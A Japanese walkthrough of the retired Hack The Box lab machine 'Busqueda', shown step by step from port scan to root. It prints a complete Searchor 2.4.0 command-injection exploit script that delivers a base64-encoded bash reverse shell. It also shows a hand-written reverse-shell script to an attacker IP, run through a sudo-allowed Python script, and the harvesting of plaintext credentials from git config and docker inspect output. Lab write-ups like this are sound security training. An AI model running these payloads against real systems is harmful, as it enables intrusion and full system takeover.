Retiredマシン「Busqueda」のWriteupを書いていきます。おそらくTJ Nullのリストで最初に攻略する方が多いマシンだと(勝手に)思っています。
Basquedaはスペイン語で「探す」という意味があるそうで、、、なんとなくこのマシンで待ち受ける試練が透けて見えますね…!イラストのおっさんへの理解も深まったところで攻略していきましょう!

記事内のコードブロックは右端のボタンからコードをコピーできます。手軽に手順を試したい方はご利用ください。

Setup

環境変数「IP」にTarget IPを設定します。 {Target IP}は自身に割り当てられた値に置き換えます。

export IP={Target IP}

Service Enumeration

ポートスキャンを実行します。

 nmap -sV -sC -Pn $IP
kali@kali:~/lab/HTB/Busqueda$ nmap -sV -sC -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-20 05:23 JST
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds

80/tcpが開いているので、ブラウザのアドレスバーにTarget IPを入力します。

searcher.htbにリダイレクトされました。


/etc/hostsにエントリを追加します。

echo "$IP searcher.htb" | sudo tee -a /etc/hosts

searcher.htbへアクセスします。

ページ最下部に気になる情報を発見しました。FlaskSearchorを使用しているようです。

Initial Access

FlaskSearchorを手掛かりにエクスプロイト/POCを探してみます。
searchsploitはNo Resultsでした。

searchsploit Flask 
searchsploit Searchor
kali@kali:~/lab/HTB/Busqueda$ searchsploit Flask   
Exploits: No Results
Shellcodes: No Results
kali@kali:~/lab/HTB/Busqueda$ 
kali@kali:~/lab/HTB/Busqueda$ searchsploit Searchor
Exploits: No Results
Shellcodes: No Results

インターネットで調べてみます。「searchor exploit」でググったところ、どうやらSearchor 2.4.0に脆弱性がありそうです。

searchor 2.4.0 exploit」で更にググったところ、良い感じのエクスプロイトがヒットしました。

早速、リポジトリをクローンします。

git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
kali@kali:~/lab/HTB/Busqueda$ git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
Cloning into 'Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'...
remote: Enumerating objects: 36, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 36 (delta 9), reused 1 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (36/36), 9.13 KiB | 359.00 KiB/s, done.
Resolving deltas: 100% (9/9), done.

exploit.shを確認します。

#!/bin/bash -

default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi

if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else 
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example: 

./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi

デフォルトだと9001ポートに接続してくるようなので、ncで待ち受けておきます。

 rlwrap nc -lvnp 9001
kali@kali:~$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...

exploit.shに実行可能権限(+x)を付与します。

 chmod +x exploit.sh 
kali@kali:~/lab/HTB/Busqueda/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection$ chmod +x exploit.sh 

exploit.shを実行します。10.10.14.12は私のIPです。

./exploit.sh searcher.htb {Kali IP} 9001
kali@kali:~/lab/HTB/Busqueda/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection$ ./exploit.sh searcher.htb 10.10.14.12 9001
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.12:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection

どうでしょう…

kali@kali:~$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 35870
bash: cannot set terminal process group (1653): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ 

キタ━━━━(゚∀゚)━━━━!!
コネクションの確立に成功したようです。
user.txtも取得できました!

cat user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
-- snip --

Privilege Escalation

権限昇格の手がかりを探していると.gitがありました。

ls -la
svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 May 18 20:44 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
ls -la .git
svc@busqueda:/var/www/app$ ls -la .git
ls -la .git
total 52
drwxr-xr-x 8 www-data www-data 4096 May 18 20:44 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3  2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs

configを確認します。

cat .git/config
svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Hello, cody !!

cody:jh1usoih2bkjaspwe92

giteaというサブドメインがあります。何ぞこれ、、、

要は軽量で自前ホスティング可能なGitサービスということのようです。
/etc/hostsにエントリ追加します。

 echo "$IP gitea.searcher.htb" | sudo tee -a /etc/hosts

ひとまず http://gitea.searcher.htb にアクセスしてみましょう。アクセス後、[Explore]をクリックします。

[Users]タブより、administratorcodyを確認できましたが、サインインできないとこれ以上は有益な情報はなさそうです。

先程、codyの資格情報が見つかったので、SSHアクセスを試したもののログインできませんでした。

giteaにはcodyくんでサインインできました…!しかし有益な情報はありませんでした、、ここだと思ったのに、、、ぐぬぬ、、

パスワードを使い回している可能性もあるので、svcでSSHログインを試してみたところ、、、

ssh svc@$IP 
jh1usoih2bkjaspwe92
kali@kali:~$ ssh svc@$IP 
svc@10.10.11.208's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

-- snip --

Last login: Sun May 18 21:25:00 2025 from 10.10.14.12

入れるんかい…!まず手っ取り早くsudo -lを確認すると、、、

sudo -l
svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Sorry, try again.
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

system-checkup.pyをroot権限で実行できるようです。ひとまず素直に実行してみます。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

docker-psを試してみます。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS        PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 40 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 40 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

docker-inspectを試してみます。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

docker-psコマンドで確認したコンテナ「gitea」の情報をJSONフォーマットで出力します。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq

-- snip --

      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",

-- snip --

パスワード「yuiu1hoiu4i5ho1uh」を発見しました。

yuiu1hoiu4i5ho1uh

もしやAdministratorのパスワードなのでは…?

あ、、、入れちゃった。早速、レポジトリ「scripts」のなかを見てみましょう!

sudoで実行可能なsystem-checkup.pyのなかを確認します。

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

-- snip --

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            
-- snip --

どうやらfull-checkupオプションを実行すると、同じディレクトリに格納されているfull-checkup.pyを実行するようです。これは…つまりfull-checkup.shを作成してリバースシェルのスクリプトを書き込んでおけば、rootとしてログインできそうです。

シンプルに以下のような内容でfull-checkup.shを作成します。
viエディタで作成しました。

#! /bin/bash

bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
svc@busqueda:/tmp$ cat full-checkup.sh 
#! /bin/bash

bash -i >& /dev/tcp/10.10.14.12/4444 0>&1

実行権限を付与します。

chmod +x full-checkup.sh 

kaliでncリスナーをセットします。

 rlwrap nc -lvnp 4444
kali@kali:~$ rlwrap nc -lvnp 4444

listening on [any] 4444...

Go !!!

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

どうでしょう…

rlwrap nc -lvnp 4444
kali@kali:~$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 41228
root@busqueda:/tmp# 

キタ━━━━(゚∀゚)━━━━!!

無事にroot.txtを取得できました!!

 cat root.txt  
root@busqueda:~# cat root.txt  
cat root.txt
-- snip --

This concludes the writeup, thank you for reading!!